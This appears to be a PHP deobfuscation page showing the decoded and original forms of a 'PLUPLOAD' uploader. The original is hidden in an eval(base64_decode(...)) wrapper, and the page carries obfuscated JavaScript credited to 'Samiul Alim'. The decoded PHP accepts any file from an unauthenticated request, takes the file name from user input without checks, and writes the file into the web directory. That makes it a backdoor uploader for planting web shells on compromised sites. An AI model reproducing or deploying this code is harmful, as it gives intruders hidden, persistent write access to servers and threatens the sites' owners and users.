50%), 57px 241px hsl(1301.4, 100%, 50%), 58px 242px hsl(1306.8, 100%, 50%), 58px 243px hsl(1312.2, 100%, 50%), 58px 244px hsl(1317.6, 100%, 50%), 59px 245px hsl(1323, 100%, 50%), 59px 246px hsl(1328.4, 100%, 50%), 59px 247px hsl(1333.8, 100%, 50%), 59px 248px hsl(1339.2, 100%, 50%), 59px 249px hsl(1344.6, 100%, 50%), 60px 250px hsl(1350, 100%, 50%), 59px 251px hsl(1355.4, 100%, 50%), 59px 252px hsl(1360.8, 100%, 50%), 59px 253px hsl(1366.2, 100%, 50%), 59px 254px hsl(1371.6, 100%, 50%), 59px 255px hsl(1377, 100%, 50%), 58px 256px hsl(1382.4, 100%, 50%), 58px 257px hsl(1387.8, 100%, 50%), 58px 258px hsl(1393.2, 100%, 50%), 57px 259px hsl(1398.6, 100%, 50%), 57px 260px hsl(1404, 100%, 50%), 56px 261px hsl(1409.4, 100%, 50%), 55px 262px hsl(1414.8, 100%, 50%), 55px 263px hsl(1420.2, 100%, 50%), 54px 264px hsl(1425.6, 100%, 50%), 53px 265px hsl(1431, 100%, 50%), 52px 266px hsl(1436.4, 100%, 50%), 51px 267px hsl(1441.8, 100%, 50%), 50px 268px hsl(1447.2, 100%, 50%), 49px 269px hsl(1452.6, 100%, 50%), 48px 270px hsl(1458, 100%, 50%), 47px 271px hsl(1463.4, 100%, 50%), 46px 272px hsl(1468.8, 100%, 50%), 45px 273px hsl(1474.2, 100%, 50%), 43px 274px hsl(1479.6, 100%, 50%), 42px 275px hsl(1485, 100%, 50%), 41px 276px hsl(1490.4, 100%, 50%), 39px 277px hsl(1495.8, 100%, 50%), 38px 278px hsl(1501.2, 100%, 50%), 36px 279px hsl(1506.6, 100%, 50%), 35px 280px hsl(1512, 100%, 50%), 33px 281px hsl(1517.4, 100%, 50%), 32px 282px hsl(1522.8, 100%, 50%), 30px 283px hsl(1528.2, 100%, 50%), 28px 284px hsl(1533.6, 100%, 50%), 27px 285px hsl(1539, 100%, 50%), 25px 286px hsl(1544.4, 100%, 50%), 23px 287px hsl(1549.8, 100%, 50%), 22px 288px hsl(1555.2, 100%, 50%), 20px 289px hsl(1560.6, 100%, 50%), 18px 290px hsl(1566, 100%, 50%), 16px 291px hsl(1571.4, 100%, 50%), 14px 292px hsl(1576.8, 100%, 50%), 13px 293px hsl(1582.2, 100%, 50%), 11px 294px hsl(1587.6, 100%, 50%), 9px 295px hsl(1593, 100%, 50%), 7px 296px hsl(1598.4, 100%, 50%), 5px 297px hsl(1603.8, 100%, 50%), 3px 298px hsl(1609.2, 100%, 50%), 1px 299px hsl(1614.6, 100%, 50%), 2px 300px hsl(1620, 100%, 50%), -1px 301px hsl(1625.4, 100%, 50%), -3px 302px hsl(1630.8, 100%, 50%), -5px 303px hsl(1636.2, 100%, 50%), -7px 304px hsl(1641.6, 100%, 50%), -9px 305px hsl(1647, 100%, 50%), -11px 306px hsl(1652.4, 100%, 50%), -13px 307px hsl(1657.8, 100%, 50%), -14px 308px hsl(1663.2, 100%, 50%), -16px 309px hsl(1668.6, 100%, 50%), -18px 310px hsl(1674, 100%, 50%), -20px 311px hsl(1679.4, 100%, 50%), -22px 312px hsl(1684.8, 100%, 50%), -23px 313px hsl(1690.2, 100%, 50%), -25px 314px hsl(1695.6, 100%, 50%), -27px 315px hsl(1701, 100%, 50%), -28px 316px hsl(1706.4, 100%, 50%), -30px 317px hsl(1711.8, 100%, 50%), -32px 318px hsl(1717.2, 100%, 50%), -33px 319px hsl(1722.6, 100%, 50%), -35px 320px hsl(1728, 100%, 50%), -36px 321px hsl(1733.4, 100%, 50%), -38px 322px hsl(1738.8, 100%, 50%), -39px 323px hsl(1744.2, 100%, 50%), -41px 324px hsl(1749.6, 100%, 50%), -42px 325px hsl(1755, 100%, 50%), -43px 326px hsl(1760.4, 100%, 50%), -45px 327px hsl(1765.8, 100%, 50%), -46px 328px hsl(1771.2, 100%, 50%), -47px 329px hsl(1776.6, 100%, 50%), -48px 330px hsl(1782, 100%, 50%), -49px 331px hsl(1787.4, 100%, 50%), -50px 332px hsl(1792.8, 100%, 50%), -51px 333px hsl(1798.2, 100%, 50%), -52px 334px hsl(1803.6, 100%, 50%), -53px 335px hsl(1809, 100%, 50%), -54px 336px hsl(1814.4, 100%, 50%), -55px 337px hsl(1819.8, 100%, 50%), -55px 338px hsl(1825.2, 100%, 50%), -56px 339px hsl(1830.6, 100%, 50%), -57px 340px hsl(1836, 100%, 50%), -57px 341px hsl(1841.4, 100%, 50%), -58px 342px hsl(1846.8, 100%, 50%), -58px 343px hsl(1852.2, 100%, 50%), -58px 344px hsl(1857.6, 100%, 50%), -59px 345px hsl(1863, 100%, 50%), -59px 346px hsl(1868.4, 100%, 50%), -59px 347px hsl(1873.8, 100%, 50%), -59px 348px hsl(1879.2, 100%, 50%), -59px 349px hsl(1884.6, 100%, 50%), -60px 350px hsl(1890, 100%, 50%), -59px 351px hsl(1895.4, 100%, 50%), -59px 352px hsl(1900.8, 100%, 50%), -59px 353px hsl(1906.2, 100%, 50%), -59px 354px hsl(1911.6, 100%, 50%), -59px 355px hsl(1917, 100%, 50%), -58px 356px hsl(1922.4, 100%, 50%), -58px 357px hsl(1927.8, 100%, 50%), -58px 358px hsl(1933.2, 100%, 50%), -57px 359px hsl(1938.6, 100%, 50%), -57px 360px hsl(1944, 100%, 50%), -56px 361px hsl(1949.4, 100%, 50%), -55px 362px hsl(1954.8, 100%, 50%), -55px 363px hsl(1960.2, 100%, 50%), -54px 364px hsl(1965.6, 100%, 50%), -53px 365px hsl(1971, 100%, 50%), -52px 366px hsl(1976.4, 100%, 50%), -51px 367px hsl(1981.8, 100%, 50%), -50px 368px hsl(1987.2, 100%, 50%), -49px 369px hsl(1992.6, 100%, 50%), -48px 370px hsl(1998, 100%, 50%), -47px 371px hsl(2003.4, 100%, 50%), -46px 372px hsl(2008.8, 100%, 50%), -45px 373px hsl(2014.2, 100%, 50%), -43px 374px hsl(2019.6, 100%, 50%), -42px 375px hsl(2025, 100%, 50%), -41px 376px hsl(2030.4, 100%, 50%), -39px 377px hsl(2035.8, 100%, 50%), -38px 378px hsl(2041.2, 100%, 50%), -36px 379px hsl(2046.6, 100%, 50%), -35px 380px hsl(2052, 100%, 50%), -33px 381px hsl(2057.4, 100%, 50%), -32px 382px hsl(2062.8, 100%, 50%), -30px 383px hsl(2068.2, 100%, 50%), -28px 384px hsl(2073.6, 100%, 50%), -27px 385px hsl(2079, 100%, 50%), -25px 386px hsl(2084.4, 100%, 50%), -23px 387px hsl(2089.8, 100%, 50%), -22px 388px hsl(2095.2, 100%, 50%), -20px 389px hsl(2100.6, 100%, 50%), -18px 390px hsl(2106, 100%, 50%), -16px 391px hsl(2111.4, 100%, 50%), -14px 392px hsl(2116.8, 100%, 50%), -13px 393px hsl(2122.2, 100%, 50%), -11px 394px hsl(2127.6, 100%, 50%), -9px 395px hsl(2133, 100%, 50%), -7px 396px hsl(2138.4, 100%, 50%), -5px 397px hsl(2143.8, 100%, 50%), -3px 398px hsl(2149.2, 100%, 50%), -1px 399px hsl(2154.6, 100%, 50%); font-size: 40px;","3416636bjFPJJ","606TLpxML","25908yhKWyE","36QOYlDl","805612CkjteD","6478050OGeOqi","19931483DbJYTX"];return(_0x174c=function(){return p})()}console[_0x5a61fc(445)](_0x5a61fc(447),css,"Developed By Samiul Alim")</script><script>function _0x530a(e,t){var o=_0x2c15();return(_0x530a=function(e,t){return o[e-=455]})(e,t)}var _0x35686e=_0x530a;function _0x2c15(){var e=["7qIvVER","Uploader"," strong","578646yovmUq","#peoses_dtls","html",'<span style="color:#35ea43;">Successful</span>',"#proces","size","#panel-body","show","477cZmloW","#total_uploaded","%</h5>","1484848wDZwWt","uploaded","start","0 b",".progress-bar","innerHTML",'<span style="color:#3575ea;">Uploading...</span> ',"#massage",'<h5 style="color: red;"><i class="fas fa-times-circle"></i></i></h5>','</h5><h5 style="width:20%; text-align: center; color: #fb0e0e;">',"preventDefault","total","hide","#total_size","#file_progress_run","195530UhfyDD","filelist","click","name","getElementById",'<h5 style="color: #ac14c7;">',"#detils_hide",".progress-name","queued",".progress-bar2","445899jEpXZa","1mb","#close-btn","percent",'" style="display: flex;"><h5 style="width:70%; text-align: left; overflow: hidden; color: #1601f1;">',"242322kmzwpi","formatSize","9327THFRbj","#total_speed","pickfiles","addEventListener",'<h5 style="color: #10c550;"><i class="fas fa-check-circle"></i></h5>',"#detils_show","539405kAGAUP","width","load","querySelector","html5,html4",'<div id="',".progress-per-t","bytesPerSec","8qCHpMS"];return(_0x2c15=function(){return e})()}(function(e,t){for(var o=_0x530a,n=_0x2c15();;)try{if(322281==-parseInt(o(466))/1+-parseInt(o(484))/2+parseInt(o(459))/3*(-parseInt(o(480))/4)+parseInt(o(472))/5+-parseInt(o(464))/6*(parseInt(o(481))/7)+-parseInt(o(495))/8+-parseInt(o(492))/9*(-parseInt(o(510))/10))break;n.push(n.shift())}catch(e){n.push(n.shift())}})(),window[_0x35686e(469)](_0x35686e(474),function(){var n=_0x35686e,r=new(plupload[n(482)])({runtimes:n(476),browse_button:n(468),url:"plupload.php",chunk_size:n(460),init:{PostInit:function(){var e=n;document[e(514)](e(511)).innerHTML=""},FilesAdded:function(e,t){var o=n;$("#total_pending")[o(486)](e.total[o(496)]+e[o(506)][o(457)]),plupload.each(t,function(e){var t=o;document[t(514)](t(511))[t(500)]+=t(477)+e.id+t(463)+e[t(513)]+t(504)+plupload[t(465)](e[t(489)])+'</h5><strong style="width:10%; text-align: center;"><h5 style="color: #caa211;"><i class="fas fa-cloud-upload-alt"></i></h5></strong></div><br>',$(t(490))[t(507)](),$(t(502))[t(486)](t(501)),$(t(488))[t(491)](),$(t(509))[t(491)]()}),r[o(497)]()},UploadProgress:function(e,t){var o=n;document[o(475)]("#"+t.id+o(483)).innerHTML=o(515)+t[o(462)]+o(494),$(o(458)).width(e[o(506)][o(462)]+"%"),$(o(478)).html(e[o(506)][o(462)]+"%"),$(o(493))[o(486)](e[o(506)].uploaded),$(o(508)).html(plupload[o(465)](e[o(506)].size)),$(o(467))[o(486)](plupload[o(465)](e[o(506)][o(479)])),$(o(499))[o(473)](t[o(462)]+"%"),$(".progress-per")[o(486)](t.percent+"%"),$(o(456)).html(t.name),$(".progress-size")[o(486)](plupload[o(465)](t[o(489)]))},FileUploaded:function(e,t){var o=n;document[o(475)]("#"+t.id+" strong")[o(500)]=o(470)},UploadComplete:function(e,t){var o=n;$(o(461)).show(),$("#file_progress_run").hide(500),$(o(502))[o(486)](o(487)),$(o(493))[o(486)](e[o(506)][o(496)]),$("#total_speed")[o(486)](o(498))},Error:function(e,t){var o=n;document[o(475)]("#"+file.id+" strong")[o(500)]=o(503)}}});r.init()}),$("#close-btn").on("click",function(e){var t=_0x35686e;e[t(505)](),$(t(461))[t(507)](),$(t(488))[t(507)](),$(t(490))[t(491)]()}),$(_0x35686e(471)).on(_0x35686e(512),function(){var e=_0x35686e;$(e(471))[e(507)](500),$("#peoses_dtls")[e(491)](500),$("#detils_hide")[e(491)](500)}),$(_0x35686e(455)).on(_0x35686e(512),function(){var e=_0x35686e;$(e(455))[e(507)](500),$(e(485))[e(507)](500),$(e(471)).show(500)})</script></body></html><?php  die; } else { function verbose($ok = 1, $info = '') { if ($ok == 0) { http_response_code(400); } die(json_encode(array("ok" => $ok, "info" => $info))); } if (empty($_FILES) || $_FILES["file"]["error"]) { verbose(0, "Failed to move uploaded file."); } $filePath = __DIR__ . DIRECTORY_SEPARATOR; if (!file_exists($filePath)) { if (!mkdir($filePath, 511, true)) { verbose(0, "Failed to create {$filePath}"); } } $fileName = isset($_REQUEST["name"]) ? $_REQUEST["name"] : $_FILES["file"]["name"]; $filePath = $filePath . DIRECTORY_SEPARATOR . $fileName; $chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0; $chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 0; $out = @fopen("{$filePath}.part", $chunk == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($_FILES["file"]["tmp_name"], "rb"); if ($in) { while ($buff = fread($in, 4096)) { fwrite($out, $buff); } } else { verbose(0, "Failed to open input stream"); } @fclose($in); @fclose($out); @unlink($_FILES["file"]["tmp_name"]); } else { verbose(0, "Failed to open output stream"); } if (!$chunks || $chunk == $chunks - 1) { rename("{$filePath}.part", $filePath); } verbose(1, "Upload OK"); } 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBpZiAoZW1wdHkoJF9GSUxFUykpIHsgPz4KPCFkb2N0eXBlaHRtbD48aHRtbD48aGVhZD48bWV0YSBjaGFyc2V0PSJVVEYtOCI+PHRpdGxlPlBMVVBMT0FEPC90aXRsZT48bWV0YSBjb250ZW50PSJQTFVQTE9BRCB8fCBNdWx0aS1ydW50aW1lIEZpbGUtVXBsb2FkZXIibmFtZT0iZGVzY3JpcHRpb24iPjxsaW5rIGhyZWY9Imh0dHBzOi8vc2l0ZS1hc3NldHMuZm9udGF3ZXNvbWUuY29tL3JlbGVhc2VzL3Y2LjEuMS9jc3MvYWxsLmNzcyJyZWw9InN0eWxlc2hlZXQiPjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL3N3ZWV0YWxlcnQyQDEwL2Rpc3Qvc3dlZXRhbGVydDIuYWxsLm1pbi5qcyI+PC9zY3JpcHQ+PGxpbmsgaHJlZj0iaHR0cHM6Ly93d3cucG5nYWxsLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMi9VcGxvYWQtVHJhbnNwYXJlbnQucG5nInJlbD0ic2hvcnRjdXQgaWNvbiI+PG1ldGEgY29udGVudD0iaHR0cHM6Ly93d3cucG5nYWxsLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMi9VcGxvYWQtVHJhbnNwYXJlbnQucG5nIm5hbWU9Im9nOmltYWdlInByb3BlcnR5PSJvZzppbWFnZSI+PG1ldGEgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLGluaXRpYWwtc2NhbGU9MSxtaW5pbXVtLXNjYWxlPTEsbWF4aW11bS1zY2FsZT0wLHVzZXItc2NhbGFibGU9bm8ibmFtZT0idmlld3BvcnQiPjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9qcXVlcnkvMy42LjAvanF1ZXJ5Lm1pbi5qcyJjcm9zc29yaWdpbj0iYW5vbnltb3VzImludGVncml0eT0ic2hhNTEyLTg5NFlFNlFXRDVJNTlIZ1pPR1JlRlltNGRuV2MxUXQ1TnR2WVNhTmNPUCt1MVQ5cVlkdmRpaHowUFBTaWlxbi8rLzNlN0pvNEVhRzdUdWJmV0dVck1RPT0icmVmZXJyZXJwb2xpY3k9Im5vLXJlZmVycmVyIj48L3NjcmlwdD48c3R5bGU+KnttYXJnaW46MDtwYWRkaW5nOjA7Ym94LXNpemluZzpib3JkZXItYm94O2ZvbnQtZmFtaWx5OlBvcHBpbnMsc2Fucy1zZXJpZn1ib2R5e21hcmdpbjowO3BhZGRpbmc6MDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCh0byByaWdodCwjNjRmZjAwLCNmZmM4MDEpO21pbi1oZWlnaHQ6MTAwdmh9LndhbGxlcntiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7bWF4LXdpZHRoOjUwMHB4O2JveC1zaGFkb3c6MCAwIDIwcHggcmdiKDAgMCAwIC8gNTAlKTtib3JkZXItcmFkaXVzOjEwcHg7cG9zaXRpb246YWJzb2x1dGU7dG9wOjUwJTtsZWZ0OjUwJTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7d2lkdGg6OTUlO3BhZGRpbmc6MjVweCAxNXB4O2JveC1zaXppbmc6Ym9yZGVyLWJveDt6LWluZGV4OjI7dGV4dC1hbGlnbjpjZW50ZXI7cG9zaXRpb246Zml4ZWR9LndhbGxlcjJ7YmFja2dyb3VuZDojZjBmOGZmO3BhZGRpbmc6NXB4O2JveC1zaGFkb3c6MCAwIDVweCByZ2IoMCAwIDAgLyA1MCUpO2JvcmRlci1yYWRpdXM6NXB4O2Rpc3BsYXk6bm9uZX0ucHJzLWVuZHtkaXNwbGF5OmZsZXg7cGFkZGluZzoxM3B4IDVweCAwIDVweH0ucGFuZWwtYm9keXt0ZXh0LWFsaWduOmNlbnRlcn0ucHJvZ3Jlc3N7b3ZlcmZsb3c6aGlkZGVuO2hlaWdodDoxNXB4O21hcmdpbi1ib3R0b206MjBweDtiYWNrZ3JvdW5kLWNvbG9yOiNmNWY1ZjU7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgMXB4IDJweCByZ2IoMCAwIDAgLyAxMCUpO2JveC1zaGFkb3c6aW5zZXQgMCAxcHggMnB4IHJnYigwIDAgMCAvIDEwJSl9LnByb2dyZXNzLWJhcntmbG9hdDpsZWZ0O3dpZHRoOjAlO2hlaWdodDoxMDAlO2ZvbnQtc2l6ZToxMnB4O2xpbmUtaGVpZ2h0OjIwcHg7Y29sb3I6I2ZmZjt0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kLWNvbG9yOiMyZmE0ZTc7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgLTFweCAwIHJnYigwIDAgMCAvIDE1JSk7Ym94LXNoYWRvdzppbnNldCAwIC0xcHggMCByZ2IoMCAwIDAgLyAxNSUpOy13ZWJraXQtdHJhbnNpdGlvbjp3aWR0aCAuNnMgZWFzZTstby10cmFuc2l0aW9uOndpZHRoIC42cyBlYXNlO3RyYW5zaXRpb246d2lkdGggLjZzIGVhc2V9LnByb2dyZXNzMntvdmVyZmxvdzpoaWRkZW47aGVpZ2h0OjIwcHg7bWFyZ2luLWJvdHRvbToyMHB4O2JhY2tncm91bmQtY29sb3I6I2Y1ZjVmNTtib3JkZXItcmFkaXVzOjRweDstd2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAxcHggMnB4IHJnYigwIDAgMCAvIDEwJSk7Ym94LXNoYWRvdzppbnNldCAwIDFweCAycHggcmdiKDAgMCAwIC8gMTAlKX0ucHJvZ3Jlc3MtYmFyMntmbG9hdDpsZWZ0O3dpZHRoOjAlO2hlaWdodDoxMDAlO2ZvbnQtc2l6ZToxMnB4O2xpbmUtaGVpZ2h0OjIwcHg7Y29sb3I6I2ZmZjt0ZXh0LWFsaWduOmNlbnRlcjtiYWNrZ3JvdW5kLWNvbG9yOiMyZmE0ZTc7LXdlYmtpdC1ib3gtc2hhZG93Omluc2V0IDAgLTFweCAwIHJnYigwIDAgMCAvIDE1JSk7Ym94LXNoYWRvdzppbnNldCAwIC0xcHggMCByZ2IoMCAwIDAgLyAxNSUpOy13ZWJraXQtdHJhbnNpdGlvbjp3aWR0aCAuNnMgZWFzZTstby10cmFuc2l0aW9uOndpZHRoIC42cyBlYXNlO3RyYW5zaXRpb246d2lkdGggLjZzIGVhc2V9LmZpbGUtdXBsb2FkLXdyYXBwZXIye3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEwMCU7aGVpZ2h0OjUwcHg7Y3Vyc29yOnBvaW50ZXI7b3ZlcmZsb3c6aGlkZGVuO3doaXRlLXNwYWNlOm5vd3JhcH0uZmlsZS11cGxvYWQtd3JhcHBlcjI6OmFmdGVye2NvbnRlbnQ6IlVwbG9hZCI7Zm9udC1zaXplOjE2cHg7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO2JhY2tncm91bmQ6LXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG8gcmlnaHQsIzI0YzZkYywjNTE0YTlkKTtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCh0byByaWdodCwjMjRjNmRjLCM1MTRhOWQpO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjEwMCU7ei1pbmRleDoyNTtoZWlnaHQ6NTBweDtsaW5lLWhlaWdodDo1MHB4O2NvbG9yOiNmZmY7Ym9yZGVyLXJhZGl1czoxMHB4O3RyYW5zaXRpb246LjVzIGVhc2UtaW4tb3V0O2ZvbnQtd2VpZ2h0OjcwMDt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7cG9pbnRlci1ldmVudHM6bm9uZTt0ZXh0LWFsaWduOmNlbnRlcn0uZmlsZS11cGxvYWQtd3JhcHBlcjI6aG92ZXI6OmFmdGVye2JhY2tncm91bmQ6LXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG8gcmlnaHQsIzUxNGE5ZCwjMjRjNmRjKTtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCh0byByaWdodCwjNTE0YTlkLCMyNGM2ZGMpfS5maWxlLXVwbG9hZC13cmFwcGVyMiBhe29wYWNpdHk6MDtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtyaWdodDowO2JvdHRvbTowO2xlZnQ6MDt6LWluZGV4Ojk5O2hlaWdodDo1MHB4O21hcmdpbjowO3BhZGRpbmc6MDtkaXNwbGF5OmJsb2NrO2N1cnNvcjpwb2ludGVyO3dpZHRoOjEwMCV9LmZpbGUtdXBsb2FkLXdyYXBwZXJ7cG9zaXRpb246cmVsYXRpdmU7d2lkdGg6MTAwJTtoZWlnaHQ6NTBweDtjdXJzb3I6cG9pbnRlcjtvdmVyZmxvdzpoaWRkZW47d2hpdGUtc3BhY2U6bm93cmFwfS5maWxlLXVwbG9hZC13cmFwcGVyOjphZnRlcntjb250ZW50OiJMaW5rcyI7Zm9udC1zaXplOjE2cHg7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDowO2JhY2tncm91bmQ6LXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG8gcmlnaHQsI2RjMjQyNCwjNzM2N2YwKTtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCh0byByaWdodCwjZGMyNDI0LCM3MzY3ZjApO2Rpc3BsYXk6aW5saW5lLWJsb2NrO3dpZHRoOjEwMCU7ei1pbmRleDoyNTtoZWlnaHQ6NTBweDtsaW5lLWhlaWdodDo1MHB4O2NvbG9yOiNmZmY7Ym9yZGVyLXJhZGl1czoxMHB4O3RyYW5zaXRpb246LjVzIGVhc2UtaW4tb3V0O2ZvbnQtd2VpZ2h0OjcwMDt0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7cG9pbnRlci1ldmVudHM6bm9uZTt0ZXh0LWFsaWduOmNlbnRlcn0uZmlsZS11cGxvYWQtd3JhcHBlcjpob3Zlcjo6YWZ0ZXJ7YmFja2dyb3VuZDotd2Via2l0LWxpbmVhci1ncmFkaWVudCh0byByaWdodCwjNzM2N2YwLCNkYzI0MjQpO2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LCM3MzY3ZjAsI2RjMjQyNCl9LmZpbGUtdXBsb2FkLXdyYXBwZXIgYXtvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7cmlnaHQ6MDtib3R0b206MDtsZWZ0OjA7ei1pbmRleDo5OTtoZWlnaHQ6NTBweDttYXJnaW46MDtwYWRkaW5nOjA7ZGlzcGxheTpibG9jaztjdXJzb3I6cG9pbnRlcjt3aWR0aDoxMDAlfS5maWxlLXVwbG9hZC13cmFwcGVyM3twb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxMDAlO2hlaWdodDo1MHB4O2N1cnNvcjpwb2ludGVyO292ZXJmbG93OmhpZGRlbjt3aGl0ZS1zcGFjZTpub3dyYXB9LmZpbGUtdXBsb2FkLXdyYXBwZXIzOjphZnRlcntjb250ZW50OiJGaWxlIE1hbmFnZXIiO2ZvbnQtc2l6ZToxNnB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6MDtiYWNrZ3JvdW5kOi13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LCMyNGRjODcsIzJmYTRlNyk7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsIzI0ZGM4NywjMmZhNGU3KTtkaXNwbGF5OmlubGluZS1ibG9jazt3aWR0aDoxMDAlO3otaW5kZXg6MjU7aGVpZ2h0OjUwcHg7bGluZS1oZWlnaHQ6NTBweDtjb2xvcjojZmZmO2JvcmRlci1yYWRpdXM6MTBweDt0cmFuc2l0aW9uOi41cyBlYXNlLWluLW91dDtmb250LXdlaWdodDo3MDA7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlO3BvaW50ZXItZXZlbnRzOm5vbmU7dGV4dC1hbGlnbjpjZW50ZXJ9LmZpbGUtdXBsb2FkLXdyYXBwZXIzOmhvdmVyOjphZnRlcntiYWNrZ3JvdW5kOi13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LCMyZmE0ZTcsIzI0ZGM4Nyk7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsIzJmYTRlNywjMjRkYzg3KX0uZmlsZS11cGxvYWQtd3JhcHBlcjMgYXtvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7cmlnaHQ6MDtib3R0b206MDtsZWZ0OjA7ei1pbmRleDo5OTtoZWlnaHQ6NTBweDttYXJnaW46MDtwYWRkaW5nOjA7ZGlzcGxheTpibG9jaztjdXJzb3I6cG9pbnRlcjt3aWR0aDoxMDAlfS5zY3JvbGx7bWF4LWhlaWdodDozNTBweDtvdmVyZmxvdy15OnNjcm9sbDt0ZXh0LWFsaWduOmxlZnR9LnByb2Nlc3tkaXNwbGF5Om5vbmV9I2Nsb3NlLWJ0bntiYWNrZ3JvdW5kOnJlZDtjb2xvcjojZmZmO3dpZHRoOjM1cHg7aGVpZ2h0OjM1cHg7bGluZS1oZWlnaHQ6MzVweDt0ZXh0LWFsaWduOmNlbnRlcjtib3JkZXItcmFkaXVzOjAgMjUlIDAgMjUlO3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO3JpZ2h0OjA7Y3Vyc29yOnBvaW50ZXI7ZGlzcGxheTpub25lfS5wcnNfbntjb2xvcjojNzM2N2YwO3dpZHRoOjEwMCU7dGV4dC1hbGlnbjpjZW50ZXI7b3ZlcmZsb3c6aGlkZGVuO3doaXRlLXNwYWNlOm5vd3JhcH0udW57bWFyZ2luLXRvcDotMTJweDttYXJnaW4tYm90dG9tOjEwcHg7ZGlzcGxheTpmbGV4fS51bl9we2NvbG9yOiMyZmE0ZTc7d2lkdGg6NTAlfWh0bWx7b3ZlcmZsb3c6c2Nyb2xsO292ZXJmbG93LXg6aGlkZGVufTo6LXdlYmtpdC1zY3JvbGxiYXJ7d2lkdGg6MH06Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JhY2tncm91bmQ6cmVkfTwvc3R5bGU+PHNjcmlwdD4hZnVuY3Rpb24oZSx0KXt2YXIgaT1mdW5jdGlvbigpe3ZhciBlPXt9O3JldHVybiBmdW5jdGlvbigpeyFmdW5jdGlvbihzLHkpeyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBlKG8sZSxzKXtpZigic3RyaW5nIiE9dHlwZW9mIG8pdGhyb3ciaW52YWxpZCBtb2R1bGUgZGVmaW5pdGlvbiwgbW9kdWxlIGlkIG11c3QgYmUgZGVmaW5lZCBhbmQgYmUgYSBzdHJpbmciO2lmKGU9PT15KXRocm93ImludmFsaWQgbW9kdWxlIGRlZmluaXRpb24sIGRlcGVuZGVuY2llcyBtdXN0IGJlIHNwZWNpZmllZCI7aWYocz09PXkpdGhyb3ciaW52YWxpZCBtb2R1bGUgZGVmaW5pdGlvbiwgZGVmaW5pdGlvbiBmdW5jdGlvbiBtdXN0IGJlIHNwZWNpZmllZCI7IWZ1bmN0aW9uKGUsdCl7Zm9yKHZhciBpLG49W10scj0wO3I8ZS5sZW5ndGg7KytyKXtpZighKGk9dVtlW3JdXXx8YShlW3JdKSkpdGhyb3cibW9kdWxlIGRlZmluaXRpb24gZGVwZW5kZWN5IG5vdCBmb3VuZDogIitlW3JdO24ucHVzaChpKX0oZnVuY3Rpb24oKXt1W29dPXMuYXBwbHkobnVsbCxhcmd1bWVudHMpfSkuYXBwbHkobnVsbCxuKX0oZSl9ZnVuY3Rpb24gZChlKXtyZXR1cm4hIXVbZV19ZnVuY3Rpb24gYShlKXtmb3IodmFyIHQ9cyxpPWUuc3BsaXQoL1suXC9dLyksbj0wO248aS5sZW5ndGg7KytuKXtpZighdFtpW25dXSlyZXR1cm47dD10W2lbbl1dfXJldHVybiB0fXZhciB1PXt9O2UoIm1veGllL2NvcmUvdXRpbHMvQmFzaWMiLFtdLGZ1bmN0aW9uKCl7ZnVuY3Rpb24gcyhlKXtyZXR1cm4gdm9pZCAwPT09ZT8idW5kZWZpbmVkIjpudWxsPT09ZT8ibnVsbCI6ZS5ub2RlVHlwZT8ibm9kZSI6e30udG9TdHJpbmcuY2FsbChlKS5tYXRjaCgvXHMoW2EtenxBLVpdKykvKVsxXS50b0xvd2VyQ2FzZSgpfWZ1bmN0aW9uIGEoKXtyZXR1cm4gdSghMSwhMSxhcmd1bWVudHMpfWZ1bmN0aW9uIHUobixyLGUpe3ZhciBvPWVbMF07cmV0dXJuIGMoZSxmdW5jdGlvbihlLHQpezA8dCYmYyhlLGZ1bmN0aW9uKGUsdCl7dmFyIGk9LTEhPT1sKHMoZSksWyJhcnJheSIsIm9iamVjdCJdKTtyZXR1cm4hISh2b2lkIDA9PT1lfHxuJiZ2b2lkIDA9PT1vW3RdKXx8KGkmJnImJihlPWZ1bmN0aW9uKGUpe3N3aXRjaChzKGUpKXtjYXNlImFy